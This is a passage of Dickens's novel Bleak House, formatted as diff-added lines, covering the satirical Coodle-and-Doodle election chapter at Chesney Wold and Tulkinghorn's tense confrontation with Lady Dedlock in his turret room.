+which I have no control, that the whole should be buried in oblivion.
+I charge you as a friend, by the interest you have ever testified in
+the fashionable intelligence, and by any little advances with which I
+may have been able to accommodate you, so to bury it without a word
+of inquiry!"
+
+This charge Mr. Guppy delivers in a state little short of forensic
+lunacy, while his friend shows a dazed mind in his whole head of hair
+and even in his cultivated whiskers.
+
+
+
+
+CHAPTER XL
+
+National and Domestic
+
+
+England has been in a dreadful state for some weeks. Lord Coodle
+would go out, Sir Thomas Doodle wouldn't come in, and there being
+nobody in Great Britain (to speak of) except Coodle and Doodle, there
+has been no government. It is a mercy that the hostile meeting
+between those two great men, which at one time seemed inevitable, did
+not come off, because if both pistols had taken effect, and Coodle
+and Doodle had killed each other, it is to be presumed that England
+must have waited to be governed until young Coodle and young Doodle,
+now in frocks and long stockings, were grown up. This stupendous
+national calamity, however, was averted by Lord Coodle's making the
+timely discovery that if in the heat of debate he had said that he
+scorned and despised the whole ignoble career of Sir Thomas Doodle,
+he had merely meant to say that party differences should never induce
+him to withhold from it the tribute of his warmest admiration; while
+it as opportunely turned out, on the other hand, that Sir Thomas
+Doodle had in his own bosom expressly booked Lord Coodle to go down
+to posterity as the mirror of virtue and honour. Still England has
+been some weeks in the dismal strait of having no pilot (as was well
+observed by Sir Leicester Dedlock) to weather the storm; and the
+marvellous part of the matter is that England has not appeared to
+care very much about it, but has gone on eating and drinking and
+marrying and giving in marriage as the old world did in the days
+before the flood. But Coodle knew the danger, and Doodle knew the
+danger, and all their followers and hangers-on had the clearest
+possible perception of the danger. At last Sir Thomas Doodle has not
+only condescended to come in, but has done it handsomely, bringing in
+with him all his nephews, all his male cousins, and all his
+brothers-in-law. So there is hope for the old ship yet.
+
+Doodle has found that he must throw himself upon the country, chiefly
+in the form of sovereigns and beer. In this metamorphosed state he is
+available in a good many places simultaneously and can throw himself
+upon a considerable portion of the country at one time. Britannia
+being much occupied in pocketing Doodle in the form of sovereigns,
+and swallowing Doodle in the form of beer, and in swearing herself
+black in the face that she does neither--plainly to the advancement
+of her glory and morality--the London season comes to a sudden end,
+through all the Doodleites and Coodleites dispersing to assist
+Britannia in those religious exercises.
+
+Hence Mrs. Rouncewell, housekeeper at Chesney Wold, foresees, though
+no instructions have yet come down, that the family may shortly be
+expected, together with a pretty large accession of cousins and
+others who can in any way assist the great Constitutional work. And
+hence the stately old dame, taking Time by the forelock, leads him up
+and down the staircases, and along the galleries and passages, and
+through the rooms, to witness before he grows any older that
+everything is ready, that floors are rubbed bright, carpets spread,
+curtains shaken out, beds puffed and patted, still-room and kitchen
+cleared for action--all things prepared as beseems the Dedlock
+dignity.
+
+This present summer evening, as the sun goes down, the preparations
+are complete. Dreary and solemn the old house looks, with so many
+appliances of habitation and with no inhabitants except the pictured
+forms upon the walls. So did these come and go, a Dedlock in
+possession might have ruminated passing along; so did they see this
+gallery hushed and quiet, as I see it now; so think, as I think, of
+the gap that they would make in this domain when they were gone; so
+find it, as I find it, difficult to believe that it could be without
+them; so pass from my world, as I pass from theirs, now closing the
+reverberating door; so leave no blank to miss them, and so die.
+
+Through some of the fiery windows beautiful from without, and set, at
+this sunset hour, not in dull-grey stone but in a glorious house of
+gold, the light excluded at other windows pours in rich, lavish,
+overflowing like the summer plenty in the land. Then do the frozen
+Dedlocks thaw. Strange movements come upon their features as the
+shadows of leaves play there. A dense justice in a corner is beguiled
+into a wink. A staring baronet, with a truncheon, gets a dimple in
+his chin. Down into the bosom of a stony shepherdess there steals a
+fleck of light and warmth that would have done it good a hundred
+years ago. One ancestress of Volumnia, in high-heeled shoes, very
+like her--casting the shadow of that virgin event before her full two
+centuries--shoots out into a halo and becomes a saint. A maid of
+honour of the court of Charles the Second, with large round eyes (and
+other charms to correspond), seems to bathe in glowing water, and it
+ripples as it glows.
+
+But the fire of the sun is dying. Even now the floor is dusky, and
+shadow slowly mounts the walls, bringing the Dedlocks down like age
+and death. And now, upon my Lady's picture over the great
+chimney-piece, a weird shade falls from some old tree, that turns it
+pale, and flutters it, and looks as if a great arm held a veil or
+hood, watching an opportunity to draw it over her. Higher and darker
+rises shadow on the wall--now a red gloom on the ceiling--now the
+fire is out.
+
+All that prospect, which from the terrace looked so near, has moved
+solemnly away and changed--not the first nor the last of beautiful
+things that look so near and will so change--into a distant phantom.
+Light mists arise, and the dew falls, and all the sweet scents in the
+garden are heavy in the air. Now the woods settle into great masses
+as if they were each one profound tree. And now the moon rises to
+separate them, and to glimmer here and there in horizontal lines
+behind their stems, and to make the avenue a pavement of light among
+high cathedral arches fantastically broken.
+
+Now the moon is high; and the great house, needing habitation more
+than ever, is like a body without life. Now it is even awful,
+stealing through it, to think of the live people who have slept in
+the solitary bedrooms, to say nothing of the dead. Now is the time
+for shadow, when every corner is a cavern and every downward step a
+pit, when the stained glass is reflected in pale and faded hues upon
+the floors, when anything and everything can be made of the heavy
+staircase beams excepting their own proper shapes, when the armour
+has dull lights upon it not easily to be distinguished from stealthy
+movement, and when barred helmets are frightfully suggestive of heads
+inside. But of all the shadows in Chesney Wold, the shadow in the
+long drawing-room upon my Lady's picture is the first to come, the
+last to be disturbed. At this hour and by this light it changes into
+threatening hands raised up and menacing the handsome face with every
+breath that stirs.
+
+"She is not well, ma'am," says a groom in Mrs. Rouncewell's
+audience-chamber.
+
+"My Lady not well! What's the matter?"
+
+"Why, my Lady has been but poorly, ma'am, since she was last here--I
+don't mean with the family, ma'am, but when she was here as a bird of
+passage like. My Lady has not been out much, for her, and has kept
+her room a good deal."
+
+"Chesney Wold, Thomas," rejoins the housekeeper with proud
+complacency, "will set my Lady up! There is no finer air and no
+healthier soil in the world!"
+
+Thomas may have his own personal opinions on this subject, probably
+hints them in his manner of smoothing his sleek head from the nape of
+his neck to his temples, but he forbears to express them further and
+retires to the servants' hall to regale on cold meat-pie and ale.
+
+This groom is the pilot-fish before the nobler shark. Next evening,
+down come Sir Leicester and my Lady with their largest retinue, and
+down come the cousins and others from all the points of the compass.
+Thenceforth for some weeks backward and forward rush mysterious men
+with no names, who fly about all those particular parts of the
+country on which Doodle is at present throwing himself in an
+auriferous and malty shower, but who are merely persons of a restless
+disposition and never do anything anywhere.
+
+On these national occasions Sir Leicester finds the cousins useful. A
+better man than the Honourable Bob Stables to meet the Hunt at
+dinner, there could not possibly be. Better got up gentlemen than the
+other cousins to ride over to polling-booths and hustings here and
+there, and show themselves on the side of England, it would be hard
+to find. Volumnia is a little dim, but she is of the true descent;
+and there are many who appreciate her sprightly conversation, her
+French conundrums so old as to have become in the cycles of time
+almost new again, the honour of taking the fair Dedlock in to dinner,
+or even the privilege of her hand in the dance. On these national
+occasions dancing may be a patriotic service, and Volumnia is
+constantly seen hopping about for the good of an ungrateful and
+unpensioning country.
+
+My Lady takes no great pains to entertain the numerous guests, and
+being still unwell, rarely appears until late in the day. But at all
+the dismal dinners, leaden lunches, basilisk balls, and other
+melancholy pageants, her mere appearance is a relief. As to Sir
+Leicester, he conceives it utterly impossible that anything can be
+wanting, in any direction, by any one who has the good fortune to be
+received under that roof; and in a state of sublime satisfaction, he
+moves among the company, a magnificent refrigerator.
+
+Daily the cousins trot through dust and canter over roadside turf,
+away to hustings and polling-booths (with leather gloves and
+hunting-whips for the counties and kid gloves and riding-canes for
+the boroughs), and daily bring back reports on which Sir Leicester
+holds forth after dinner. Daily the restless men who have no
+occupation in life present the appearance of being rather busy. Daily
+Volumnia has a little cousinly talk with Sir Leicester on the state
+of the nation, from which Sir Leicester is disposed to conclude that
+Volumnia is a more reflecting woman than he had thought her.
+
+"How are we getting on?" says Miss Volumnia, clasping her hands. "ARE
+we safe?"
+
+The mighty business is nearly over by this time, and Doodle will
+throw himself off the country in a few days more. Sir Leicester has
+just appeared in the long drawing-room after dinner, a bright
+particular star surrounded by clouds of cousins.
+
+"Volumnia," replies Sir Leicester, who has a list in his hand, "we
+are doing tolerably."
+
+"Only tolerably!"
+
+Although it is summer weather, Sir Leicester always has his own
+particular fire in the evening. He takes his usual screened seat near
+it and repeats with much firmness and a little displeasure, as who
+should say, I am not a common man, and when I say tolerably, it must
+not be understood as a common expression, "Volumnia, we are doing
+tolerably."
+
+"At least there is no opposition to YOU," Volumnia asserts with
+confidence.
+
+"No, Volumnia. This distracted country has lost its senses in many
+respects, I grieve to say, but--"
+
+"It is not so mad as that. I am glad to hear it!"
+
+Volumnia's finishing the sentence restores her to favour. Sir
+Leicester, with a gracious inclination of his head, seems to say to
+himself, "A sensible woman this, on the whole, though occasionally
+precipitate."
+
+In fact, as to this question of opposition, the fair Dedlock's
+observation was superfluous, Sir Leicester on these occasions always
+delivering in his own candidateship, as a kind of handsome wholesale
+order to be promptly executed. Two other little seats that belong to
+him he treats as retail orders of less importance, merely sending
+down the men and signifying to the tradespeople, "You will have the
+goodness to make these materials into two members of Parliament and
+to send them home when done."
+
+"I regret to say, Volumnia, that in many places the people have shown
+a bad spirit, and that this opposition to the government has been of
+a most determined and most implacable description."
+
+"W-r-retches!" says Volumnia.
+
+"Even," proceeds Sir Leicester, glancing at the circumjacent cousins
+on sofas and ottomans, "even in many--in fact, in most--of those
+places in which the government has carried it against a faction--"
+
+(Note, by the way, that the Coodleites are always a faction with the
+Doodleites, and that the Doodleites occupy exactly the same position
+towards the Coodleites.)
+
+"--Even in them I am shocked, for the credit of Englishmen, to be
+constrained to inform you that the party has not triumphed without
+being put to an enormous expense. Hundreds," says Sir Leicester,
+eyeing the cousins with increasing dignity and swelling indignation,
+"hundreds of thousands of pounds!"
+
+If Volumnia have a fault, it is the fault of being a trifle too
+innocent, seeing that the innocence which would go extremely well
+with a sash and tucker is a little out of keeping with the rouge and
+pearl necklace. Howbeit, impelled by innocence, she asks, "What for?"
+
+"Volumnia," remonstrates Sir Leicester with his utmost severity.
+"Volumnia!"
+
+"No, no, I don't mean what for," cries Volumnia with her favourite
+little scream. "How stupid I am! I mean what a pity!"
+
+"I am glad," returns Sir Leicester, "that you do mean what a pity."
+
+Volumnia hastens to express her opinion that the shocking people
+ought to be tried as traitors and made to support the party.
+
+"I am glad, Volumnia," repeats Sir Leicester, unmindful of these
+mollifying sentiments, "that you do mean what a pity. It is
+disgraceful to the electors. But as you, though inadvertently and
+without intending so unreasonable a question, asked me 'what for?'
+let me reply to you. For necessary expenses. And I trust to your good
+sense, Volumnia, not to pursue the subject, here or elsewhere."
+
+Sir Leicester feels it incumbent on him to observe a crushing aspect
+towards Volumnia because it is whispered abroad that these necessary
+expenses will, in some two hundred election petitions, be
+unpleasantly connected with the word bribery, and because some
+graceless jokers have consequently suggested the omission from the
+Church service of the ordinary supplication in behalf of the High
+Court of Parliament and have recommended instead that the prayers of
+the congregation be requested for six hundred and fifty-eight
+gentlemen in a very unhealthy state.
+
+"I suppose," observes Volumnia, having taken a little time to recover
+her spirits after her late castigation, "I suppose Mr. Tulkinghorn
+has been worked to death."
+
+"I don't know," says Sir Leicester, opening his eyes, "why Mr.
+Tulkinghorn should be worked to death. I don't know what Mr.
+Tulkinghorn's engagements may be. He is not a candidate."
+
+Volumnia had thought he might have been employed. Sir Leicester could
+desire to know by whom, and what for. Volumnia, abashed again,
+suggests, by somebody--to advise and make arrangements. Sir Leicester
+is not aware that any client of Mr. Tulkinghorn has been in need of
+his assistance.
+
+Lady Dedlock, seated at an open window with her arm upon its
+cushioned ledge and looking out at the evening shadows falling on the
+park, has seemed to attend since the lawyer's name was mentioned.
+
+A languid cousin with a moustache in a state of extreme debility now
+observes from his couch that man told him ya'as'dy that Tulkinghorn
+had gone down t' that iron place t' give legal 'pinion 'bout
+something, and that contest being over t' day, 'twould be highly
+jawlly thing if Tulkinghorn should 'pear with news that Coodle man
+was floored.
+
+Mercury in attendance with coffee informs Sir Leicester, hereupon,
+that Mr. Tulkinghorn has arrived and is taking dinner. My Lady turns
+her head inward for the moment, then looks out again as before.
+
+Volumnia is charmed to hear that her delight is come. He is so
+original, such a stolid creature, such an immense being for knowing
+all sorts of things and never telling them! Volumnia is persuaded
+that he must be a Freemason. Is sure he is at the head of a lodge,
+and wears short aprons, and is made a perfect idol of with
+candlesticks and trowels. These lively remarks the fair Dedlock
+delivers in her youthful manner, while making a purse.
+
+"He has not been here once," she adds, "since I came. I really had
+some thoughts of breaking my heart for the inconstant creature. I had
+almost made up my mind that he was dead."
+
+It may be the gathering gloom of evening, or it may be the darker
+gloom within herself, but a shade is on my Lady's face, as if she
+thought, "I would he were!"
+
+"Mr. Tulkinghorn," says Sir Leicester, "is always welcome here and
+always discreet wheresoever he is. A very valuable person, and
+deservedly respected."
+
+The debilitated cousin supposes he is "'normously rich fler."
+
+"He has a stake in the country," says Sir Leicester, "I have no
+doubt. He is, of course, handsomely paid, and he associates almost on
+a footing of equality with the highest society."
+
+Everybody starts. For a gun is fired close by.
+
+"Good gracious, what's that?" cries Volumnia with her little withered
+scream.
+
+"A rat," says my Lady. "And they have shot him."
+
+Enter Mr. Tulkinghorn, followed by Mercuries with lamps and candles.
+
+"No, no," says Sir Leicester, "I think not. My Lady, do you object to
+the twilight?"
+
+On the contrary, my Lady prefers it.
+
+"Volumnia?"
+
+Oh! Nothing is so delicious to Volumnia as to sit and talk in the
+dark.
+
+"Then take them away," says Sir Leicester. "Tulkinghorn, I beg your
+pardon. How do you do?"
+
+Mr. Tulkinghorn with his usual leisurely ease advances, renders his
+passing homage to my Lady, shakes Sir Leicester's hand, and subsides
+into the chair proper to him when he has anything to communicate, on
+the opposite side of the Baronet's little newspaper-table. Sir
+Leicester is apprehensive that my Lady, not being very well, will
+take cold at that open window. My Lady is obliged to him, but would
+rather sit there for the air. Sir Leicester rises, adjusts her scarf
+about her, and returns to his seat. Mr. Tulkinghorn in the meanwhile
+takes a pinch of snuff.
+
+"Now," says Sir Leicester. "How has that contest gone?"
+
+"Oh, hollow from the beginning. Not a chance. They have brought in
+both their people. You are beaten out of all reason. Three to one."
+
+It is a part of Mr. Tulkinghorn's policy and mastery to have no
+political opinions; indeed, NO opinions. Therefore he says "you" are
+beaten, and not "we."
+
+Sir Leicester is majestically wroth. Volumnia never heard of such a
+thing. 'The debilitated cousin holds that it's sort of thing that's
+sure tapn slongs votes--giv'n--Mob.
+
+"It's the place, you know," Mr. Tulkinghorn goes on to say in the
+fast-increasing darkness when there is silence again, "where they
+wanted to put up Mrs. Rouncewell's son."
+
+"A proposal which, as you correctly informed me at the time, he had
+the becoming taste and perception," observes Sir Leicester, "to
+decline. I cannot say that I by any means approve of the sentiments
+expressed by Mr. Rouncewell when he was here for some half-hour in
+this room, but there was a sense of propriety in his decision which I
+am glad to acknowledge."
+
+"Ha!" says Mr. Tulkinghorn. "It did not prevent him from being very
+active in this election, though."
+
+Sir Leicester is distinctly heard to gasp before speaking. "Did I
+understand you? Did you say that Mr. Rouncewell had been very active
+in this election?"
+
+"Uncommonly active."
+
+"Against--"
+
+"Oh, dear yes, against you. He is a very good speaker. Plain and
+emphatic. He made a damaging effect, and has great influence. In the
+business part of the proceedings he carried all before him."
+
+It is evident to the whole company, though nobody can see him, that
+Sir Leicester is staring majestically.
+
+"And he was much assisted," says Mr. Tulkinghorn as a wind-up, "by
+his son."
+
+"By his son, sir?" repeats Sir Leicester with awful politeness.
+
+"By his son."
+
+"The son who wished to marry the young woman in my Lady's service?"
+
+"That son. He has but one."
+
+"Then upon my honour," says Sir Leicester after a terrific pause
+during which he has been heard to snort and felt to stare, "then
+upon my honour, upon my life, upon my reputation and principles,
+the floodgates of society are burst open, and the waters
+have--a--obliterated the landmarks of the framework of the cohesion
+by which things are held together!"
+
+General burst of cousinly indignation. Volumnia thinks it is
+really high time, you know, for somebody in power to step in
+and do something strong. Debilitated cousin thinks--country's
+going--Dayvle--steeple-chase pace.
+
+"I beg," says Sir Leicester in a breathless condition, "that we may
+not comment further on this circumstance. Comment is superfluous. My
+Lady, let me suggest in reference to that young woman--"
+
+"I have no intention," observes my Lady from her window in a low but
+decided tone, "of parting with her."
+
+"That was not my meaning," returns Sir Leicester. "I am glad to hear
+you say so. I would suggest that as you think her worthy of your
+patronage, you should exert your influence to keep her from these
+dangerous hands. You might show her what violence would be done in
+such association to her duties and principles, and you might preserve
+her for a better fate. You might point out to her that she probably
+would, in good time, find a husband at Chesney Wold by whom she would
+not be--" Sir Leicester adds, after a moment's consideration,
+"dragged from the altars of her forefathers."
+
+These remarks he offers with his unvarying politeness and deference
+when he addresses himself to his wife. She merely moves her head in
+reply. The moon is rising, and where she sits there is a little
+stream of cold pale light, in which her head is seen.
+
+"It is worthy of remark," says Mr. Tulkinghorn, "however, that these
+people are, in their way, very proud."
+
+"Proud?" Sir Leicester doubts his hearing.
+
+"I should not be surprised if they all voluntarily abandoned the
+girl--yes, lover and all--instead of her abandoning them, supposing
+she remained at Chesney Wold under such circumstances."
+
+"Well!" says Sir Leicester tremulously. "Well! You should know, Mr.
+Tulkinghorn. You have been among them."
+
+"Really, Sir Leicester," returns the lawyer, "I state the fact. Why,
+I could tell you a story--with Lady Dedlock's permission."
+
+Her head concedes it, and Volumnia is enchanted. A story! Oh, he is
+going to tell something at last! A ghost in it, Volumnia hopes?
+
+"No. Real flesh and blood." Mr. Tulkinghorn stops for an instant and
+repeats with some little emphasis grafted upon his usual monotony,
+"Real flesh and blood, Miss Dedlock. Sir Leicester, these particulars
+have only lately become known to me. They are very brief. They
+exemplify what I have said. I suppress names for the present. Lady
+Dedlock will not think me ill-bred, I hope?"
+
+By the light of the fire, which is low, he can be seen looking
+towards the moonlight. By the light of the moon Lady Dedlock can be
+seen, perfectly still.
+
+"A townsman of this Mrs. Rouncewell, a man in exactly parallel
+circumstances as I am told, had the good fortune to have a daughter
+who attracted the notice of a great lady. I speak of really a great
+lady, not merely great to him, but married to a gentleman of your
+condition, Sir Leicester."
+
+Sir Leicester condescendingly says, "Yes, Mr. Tulkinghorn," implying
+that then she must have appeared of very considerable moral
+dimensions indeed in the eyes of an iron-master.
+
+"The lady was wealthy and beautiful, and had a liking for the girl,
+and treated her with great kindness, and kept her always near her.
+Now this lady preserved a secret under all her greatness, which she
+had preserved for many years. In fact, she had in early life been
+engaged to marry a young rake--he was a captain in the army--nothing
+connected with whom came to any good. She never did marry him, but
+she gave birth to a child of which he was the father."
+
+By the light of the fire he can be seen looking towards the
+moonlight. By the moonlight, Lady Dedlock can be seen in profile,
+perfectly still.
+
+"The captain in the army being dead, she believed herself safe; but a
+train of circumstances with which I need not trouble you led to
+discovery. As I received the story, they began in an imprudence on
+her own part one day when she was taken by surprise, which shows how
+difficult it is for the firmest of us (she was very firm) to be
+always guarded. There was great domestic trouble and amazement, you
+may suppose; I leave you to imagine, Sir Leicester, the husband's
+grief. But that is not the present point. When Mr. Rouncewell's
+townsman heard of the disclosure, he no more allowed the girl to be
+patronized and honoured than he would have suffered her to be trodden
+underfoot before his eyes. Such was his pride, that he indignantly
+took her away, as if from reproach and disgrace. He had no sense of
+the honour done him and his daughter by the lady's condescension; not
+the least. He resented the girl's position, as if the lady had been
+the commonest of commoners. That is the story. I hope Lady Dedlock
+will excuse its painful nature."
+
+There are various opinions on the merits, more or less conflicting
+with Volumnia's. That fair young creature cannot believe there ever
+was any such lady and rejects the whole history on the threshold. The
+majority incline to the debilitated cousin's sentiment, which is in
+few words--"no business--Rouncewell's fernal townsman." Sir Leicester
+generally refers back in his mind to Wat Tyler and arranges a
+sequence of events on a plan of his own.
+
+There is not much conversation in all, for late hours have been kept
+at Chesney Wold since the necessary expenses elsewhere began, and
+this is the first night in many on which the family have been alone.
+It is past ten when Sir Leicester begs Mr. Tulkinghorn to ring for
+candles. Then the stream of moonlight has swelled into a lake, and
+then Lady Dedlock for the first time moves, and rises, and comes
+forward to a table for a glass of water. Winking cousins, bat-like in
+the candle glare, crowd round to give it; Volumnia (always ready for
+something better if procurable) takes another, a very mild sip of
+which contents her; Lady Dedlock, graceful, self-possessed, looked
+after by admiring eyes, passes away slowly down the long perspective
+by the side of that nymph, not at all improving her as a question of
+contrast.
+
+
+
+
+CHAPTER XLI
+
+In Mr. Tulkinghorn's Room
+
+
+Mr. Tulkinghorn arrives in his turret-room a little breathed by the
+journey up, though leisurely performed. There is an expression on his
+face as if he had discharged his mind of some grave matter and were,
+in his close way, satisfied. To say of a man so severely and strictly
+self-repressed that he is triumphant would be to do him as great an
+injustice as to suppose him troubled with love or sentiment or any
+romantic weakness. He is sedately satisfied. Perhaps there is a
+rather increased sense of power upon him as he loosely grasps one of
+his veinous wrists with his other hand and holding it behind his back
+walks noiselessly up and down.
+
+There is a capacious writing-table in the room on which is a pretty
+large accumulation of papers. The green lamp is lighted, his
+reading-glasses lie upon the desk, the easy-chair is wheeled up to
+it, and it would seem as though he had intended to bestow an hour or
+so upon these claims on his attention before going to bed. But he
+happens not to be in a business mind. After a glance at the documents
+awaiting his notice--with his head bent low over the table, the old
+man's sight for print or writing being defective at night--he opens
+the French window and steps out upon the leads. There he again walks
+slowly up and down in the same attitude, subsiding, if a man so cool
+may have any need to subside, from the story he has related
+downstairs.
+
+The time was once when men as knowing as Mr. Tulkinghorn would walk
+on turret-tops in the starlight and look up into the sky to read
+their fortunes there. Hosts of stars are visible to-night, though
+their brilliancy is eclipsed by the splendour of the moon. If he be
+seeking his own star as he methodically turns and turns upon the
+leads, it should be but a pale one to be so rustily represented
+below. If he be tracing out his destiny, that may be written in other
+characters nearer to his hand.
+
+As he paces the leads with his eyes most probably as high above his
+thoughts as they are high above the earth, he is suddenly stopped in
+passing the window by two eyes that meet his own. The ceiling of his
+room is rather low; and the upper part of the door, which is opposite
+the window, is of glass. There is an inner baize door, too, but the
+night being warm he did not close it when he came upstairs. These
+eyes that meet his own are looking in through the glass from the
+corridor outside. He knows them well. The blood has not flushed into
+his face so suddenly and redly for many a long year as when he
+recognizes Lady Dedlock.
+
+He steps into the room, and she comes in too, closing both the doors
+behind her. There is a wild disturbance--is it fear or anger?--in her
+eyes. In her carriage and all else she looks as she looked downstairs
+two hours ago.
+
+Is it fear or is it anger now? He cannot be sure. Both might be as
+pale, both as intent.
+
+"Lady Dedlock?"
+
+She does not speak at first, nor even when she has slowly dropped
+into the easy-chair by the table. They look at each other, like two
+pictures.
+
+"Why have you told my story to so many persons?"
+
+"Lady Dedlock, it was necessary for me to inform you that I knew it."
+
+"How long have you known it?"
+
+"I have suspected it a long while--fully known it a little while."
+
+"Months?"
+
+"Days."
+
+He stands before her with one hand on a chair-back and the other in
+his old-fashioned waistcoat and shirt-frill, exactly as he has stood
+before her at any time since her marriage. The same formal
+politeness, the same composed deference that might as well be
+defiance; the whole man the same dark, cold object, at the same
+distance, which nothing has ever diminished.
+
+"Is this true concerning the poor girl?"
+
+He slightly inclines and advances his head as not quite understanding
+the question.
+
+"You know what you related. Is it true? Do her friends know my story
+also? Is it the town-talk yet? Is it chalked upon the walls and cried
+in the streets?"
+
+So! Anger, and fear, and shame. All three contending. What power this
+woman has to keep these raging passions down! Mr. Tulkinghorn's
+thoughts take such form as he looks at her, with his ragged grey
+eyebrows a hair's breadth more contracted than usual under her gaze.
+
+"No, Lady Dedlock. That was a hypothetical case, arising out of Sir
+Leicester's unconsciously carrying the matter with so high a hand.
+But it would be a real case if they knew--what we know."
+
+"Then they do not know it yet?"
+
+"No."
+
+"Can I save the poor girl from injury before they know it?"
+
+"Really, Lady Dedlock," Mr. Tulkinghorn replies, "I cannot give a
+satisfactory opinion on that point."
+
+And he thinks, with the interest of attentive curiosity, as he
+watches the struggle in her breast, "The power and force of this
+woman are astonishing!"
+
+"Sir," she says, for the moment obliged to set her lips with all the
+energy she has, that she may speak distinctly, "I will make it
+plainer. I do not dispute your hypothetical case. I anticipated it,
+and felt its truth as strongly as you can do, when I saw Mr.
+Rouncewell here. I knew very well that if he could have had the power
+of seeing me as I was, he would consider the poor girl tarnished by
+having for a moment been, although most innocently, the subject of my
+great and distinguished patronage. But I have an interest in her, or
+I should rather say--no longer belonging to this place--I had, and if
+you can find so much consideration for the woman under your foot as
+to remember that, she will be very sensible of your mercy."
+
+Mr. Tulkinghorn, profoundly attentive, throws this off with a shrug
+of self-depreciation and contracts his eyebrows a little more.
+
+"You have prepared me for my exposure, and I thank you for that too.
+Is there anything that you require of me? Is there any claim that I
+can release or any charge or trouble that I can spare my husband in
+obtaining HIS release by certifying to the exactness of your
+discovery? I will write anything, here and now, that you will
+dictate. I am ready to do it."
+
+And she would do it, thinks the lawyer, watchful of the firm hand
+with which she takes the pen!
+
+"I will not trouble you, Lady Dedlock. Pray spare yourself."
+
+"I have long expected this, as you know. I neither wish to spare
+myself nor to be spared. You can do nothing worse to me than you have
+done. Do what remains now."
+
+"Lady Dedlock, there is nothing to be done. I will take leave to say
+a few words when you have finished."
+
+Their need for watching one another should be over now, but they do
+it all this time, and the stars watch them both through the opened
+window. Away in the moonlight lie the woodland fields at rest, and
+the wide house is as quiet as the narrow one. The narrow one! Where
+are the digger and the spade, this peaceful night, destined to add
+the last great secret to the many secrets of the Tulkinghorn
+existence? Is the man born yet, is the spade wrought yet? Curious
+questions to consider, more curious perhaps not to consider, under
+the watching stars upon a summer night.
+
+"Of repentance or remorse or any feeling of mine," Lady Dedlock
+presently proceeds, "I say not a word. If I were not dumb, you would
+be deaf. Let that go by. It is not for your ears."
+
+He makes a feint of offering a protest, but she sweeps it away with
+her disdainful hand.
+
+"Of other and very different things I come to speak to you. My jewels
+are all in their proper places of keeping. They will be found there.
+So, my dresses. So, all the valuables I have. Some ready money I had
+with me, please to say, but no large amount. I did not wear my own
+dress, in order that I might avoid observation. I went to be
+henceforward lost. Make this known. I leave no other charge with
+you."
+
+"Excuse me, Lady Dedlock," says Mr. Tulkinghorn, quite unmoved. "I am
+not sure that I understand you. You want--"
+
+"To be lost to all here. I leave Chesney Wold to-night. I go this
+hour."
+
+Mr. Tulkinghorn shakes his head. She rises, but he, without moving
+hand from chair-back or from old-fashioned waistcoat and shirt-frill,
+shakes his head.
+
+"What? Not go as I have said?"
+
+"No, Lady Dedlock," he very calmly replies.
+
+"Do you know the relief that my disappearance will be? Have you
+forgotten the stain and blot upon this place, and where it is, and
+who it is?"
+
+"No, Lady Dedlock, not by any means."
+
+Without deigning to rejoin, she moves to the inner door and has it in
+her hand when he says to her, without himself stirring hand or foot
+or raising his voice, "Lady Dedlock, have the goodness to stop and
+hear me, or before you reach the staircase I shall ring the
+alarm-bell and rouse the house. And then I must speak out before
+every guest and servant, every man and woman, in it."
+
+He has conquered her. She falters, trembles, and puts her hand
+confusedly to her head. Slight tokens these in any one else, but when
+so practised an eye as Mr. Tulkinghorn's sees indecision for a moment
+in such a subject, he thoroughly knows its value.
+
+He promptly says again, "Have the goodness to hear me, Lady Dedlock,"
+and motions to the chair from which she has risen. She hesitates, but
+he motions again, and she sits down.
+
+"The relations between us are of an unfortunate description, Lady
+Dedlock; but as they are not of my making, I will not apologize for
+them. The position I hold in reference to Sir Leicester is so well
+known to you that I can hardly imagine but that I must long have
+appeared in your eyes the natural person to make this discovery."
+
+"Sir," she returns without looking up from the ground on which her
+eyes are now fixed, "I had better have gone. It would have been far
+better not to have detained me. I have no more to say."
+
+"Excuse me, Lady Dedlock, if I add a little more to hear."
+
+"I wish to hear it at the window, then. I can't breathe where I am."
+
+His jealous glance as she walks that way betrays an instant's
+misgiving that she may have it in her thoughts to leap over, and
+dashing against ledge and cornice, strike her life out upon the
+terrace below. But a moment's observation of her figure as she stands
+in the window without any support, looking out at the stars--not
+up--gloomily out at those stars which are low in the heavens,
+reassures him. By facing round as she has moved, he stands a little
+behind her.
+
+"Lady Dedlock, I have not yet been able to come to a decision
+satisfactory to myself on the course before me. I am not clear what
+to do or how to act next. I must request you, in the meantime, to
+keep your secret as you have kept it so long and not to wonder that I
+keep it too."
+
+He pauses, but she makes no reply.
+
+"Pardon me, Lady Dedlock. This is an important subject. You are
+honouring me with your attention?"
+
+"I am."
+
+"Thank you. I might have known it from what I have seen of your
+strength of character. I ought not to have asked the question, but I
+have the habit of making sure of my ground, step by step, as I go on.
+The sole consideration in this unhappy case is Sir Leicester."
+
+"Then why," she asks in a low voice and without removing her gloomy
+look from those distant stars, "do you detain me in his house?"
+
+"Because he IS the consideration. Lady Dedlock, I have no occasion to
+tell you that Sir Leicester is a very proud man, that his reliance
+upon you is implicit, that the fall of that moon out of the sky would
+not amaze him more than your fall from your high position as his
+wife."
+
+She breathes quickly and heavily, but she stands as unflinchingly as
+ever he has seen her in the midst of her grandest company.
+
+"I declare to you, Lady Dedlock, that with anything short of this
+case that I have, I would as soon have hoped to root up by means of
+my own strength and my own hands the oldest tree on this estate as to
+shake your hold upon Sir Leicester and Sir Leicester's trust and
+confidence in you. And even now, with this case, I hesitate. Not that
+he could doubt (that, even with him, is impossible), but that nothing
+can prepare him for the blow."
+
+"Not my flight?" she returned. "Think of it again."
+
+"Your flight, Lady Dedlock, would spread the whole truth, and a
+hundred times the whole truth, far and wide. It would be impossible
+to save the family credit for a day. It is not to be thought of."
+
+There is a quiet decision in his reply which admits of no
+remonstrance.
+
+"When I speak of Sir Leicester being the sole consideration, he and
+the family credit are one. Sir Leicester and the baronetcy, Sir
+Leicester and Chesney Wold, Sir Leicester and his ancestors and his
+patrimony"--Mr. Tulkinghorn very dry here--"are, I need not say to
+you, Lady Dedlock, inseparable."
+
+"Go on!"
+
+"Therefore," says Mr. Tulkinghorn, pursuing his case in his jog-trot
+style, "I have much to consider. This is to be hushed up if it can
+be. How can it be, if Sir Leicester is driven out of his wits or laid
+upon a death-bed? If I inflicted this shock upon him to-morrow
+morning, how could the immediate change in him be accounted for? What
+could have caused it? What could have divided you? Lady Dedlock, the
+wall-chalking and the street-crying would come on directly, and you
+are to remember that it would not affect you merely (whom I cannot at
+all consider in this business) but your husband, Lady Dedlock, your
+husband."
+
+He gets plainer as he gets on, but not an atom more emphatic or
+animated.
+
